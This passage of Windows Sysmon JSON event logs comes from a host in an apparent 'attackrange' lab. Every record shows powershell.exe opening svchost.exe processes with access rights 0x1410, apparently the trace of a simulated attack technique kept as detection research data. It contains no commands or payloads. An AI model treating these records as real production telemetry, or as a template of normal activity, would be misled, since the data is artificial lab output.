C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","TargetProcessId":"588","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1023,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD3-5F2D-0000-0010BDA90000}\r\nTargetProcessId: 628\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","TargetProcessId":"628","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1024,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1025,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1026,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1027,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1028,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1029,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1030,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\ass